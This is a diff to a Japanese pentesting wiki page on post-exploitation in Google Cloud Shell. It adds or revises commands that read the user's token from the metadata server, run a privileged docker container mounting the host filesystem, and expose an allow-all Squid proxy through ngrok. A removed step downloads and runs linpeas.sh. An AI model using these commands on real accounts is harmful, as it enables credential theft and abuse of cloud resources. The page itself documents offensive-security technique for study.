diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index b160235aa..4549fd265 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,46 +4,46 @@ ## Cloud Shell -Cloud Shell の詳細については次を参照してください: +Cloud Shell の詳細は次を参照してください: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### metadata からユーザーの token を取得する -Google Cloud Shell はコンテナ内で動作しているため、次のようにして **easily escape to the host** できます: +metadata server にアクセスするだけで、現在ログインしているユーザーとしてアクセスするための token を取得できます: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Docker use + +> [!WARNING] +> 以前は cloud shell はホストの docker ソケットにアクセスできるコンテナ内で実行されていました。現在は Google がアーキテクチャを変更し、cloud shell コンテナは "Docker in a container" 構成で動作しています。つまり、cloud shell から docker を使用できても、docker ソケットを使ってホストへエスケープすることはできません。 +> Note that previously the `docker.sock` file was located in `/google/host/var/run/docker.sock` but now it has been moved to `/run/docker.sock`.
-Container escape commands +Docker use / Old container escape commands ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-これは google によって脆弱性とは見なされませんが、その環境で何が起きているかをより広く把握できます。 - -さらに、ホスト上から service account token を見つけられる点に注意してください: +さらに、以前は cloud shell VM で使用されている service account の token を metadata server で見つけることが可能でした:
-Get service account from metadata +metadata からの古い service account ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -以下のスコープ: - -
- -サービスアカウントのスコープを取得 +次のスコープが付与されている場合: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write ```
-LinPEASでメタデータを列挙する: -
-LinPEASでメタデータを列挙する -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
+### プロキシとして使用する -[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) を Service Account のトークンで使用した後、**権限は見つかりませんでした**... - -### Proxy として使用する - -もし google cloud shell instance を proxy として使用したい場合、次のコマンドを実行する必要があります(または .bashrc ファイルに挿入してください): +google cloud shell インスタンスをプロキシとして使用したい場合は、次のコマンドを実行する必要があります(または .bashrc ファイルに挿入してください):
@@ -79,7 +67,7 @@ sudo apt install -y squid ```
-参考までに、Squid は http プロキシサーバーです。次の設定で **squid.conf** ファイルを作成してください: +参考: Squid は http proxy server です。以下の設定で **squid.conf** ファイルを作成してください:
@@ -96,39 +84,39 @@ http_access allow all
-設定を **/etc/squid** にコピー +設定を /etc/squid にコピー ```bash sudo cp squid.conf /etc/squid ```
-最後に Squid サービスを起動します: +最後に squid サービスを起動します:
-Squid サービスを起動 +Squid サービスを開始 ```bash sudo service squid start ```
-ngrok を使って proxy を外部から利用できるようにします: +ngrok を使ってプロキシを外部から利用できるようにします:
-ngrok で proxy を公開する +ngrok を使ってプロキシを公開する ```bash ./ngrok tcp 3128 ```
-実行後、tcp:// の URL をコピーしてください。ブラウザから proxy を実行したい場合は、tcp:// の部分とポートを削除し、ブラウザのプロキシ設定のポート欄にそのポートを入力することをお勧めします(squid は http プロキシサーバーです)。 +実行後、tcp:// URL をコピーしてください。ブラウザから proxy を実行したい場合は、tcp:// 部分と port を削除し、port をブラウザの proxy 設定の port 欄に入力することを推奨します(squid は http proxy サーバーです)。 -起動時に使いやすくするため、.bashrc ファイルに以下の行を追加してください: +起動時の利便性向上のため、.bashrc ファイルには次の行を追加してください:
-.bashrc に自動起動用の設定を追加 +.bashrc に追加して自動起動 ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ @@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-これらの手順は [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) からコピーされました。Cloud Shell であらゆる種類のソフトウェア(databases や windows ですら)を実行するための他の奇抜なアイデアについては、そのページを確認してください。 +指示は [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) から転載しました。Cloud Shellであらゆる種類のソフトウェア(databases や windows さえ)を実行するための他のクレイジーなアイデアはそのページを確認してください。 {{#include ../../../banners/hacktricks-training.md}}